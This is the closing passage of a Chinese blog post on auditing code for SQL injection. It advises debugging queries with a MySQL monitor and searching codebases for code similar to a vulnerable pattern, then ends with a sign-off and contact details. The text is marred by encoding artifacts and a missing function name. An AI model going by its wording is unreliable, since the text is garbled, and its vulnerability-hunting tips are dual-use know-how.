通過(guò)讀到這里我們可以知道,他調(diào)用()函數(shù)的時(shí)候我們基本上不考慮注入,因?yàn)橐呀?jīng)被過(guò)濾了,除非后面有其他函數(shù)處理。 在調(diào)試復(fù)雜語(yǔ)句時(shí),我們可以使用mysql監(jiān)控軟件來(lái)調(diào)試。 當(dāng)我們發(fā)現(xiàn)某個(gè)類(lèi)型的函數(shù)或者編寫(xiě)方法存在漏洞時(shí),我們可以利用全文檢索的方式找到相同的代碼,對(duì)該類(lèi)型進(jìn)行完整的挖掘。

結(jié)尾。

歡迎轉(zhuǎn)發(fā)~

如有侵權(quán)請(qǐng)聯(lián)系刪除!

13262879759

微信二維碼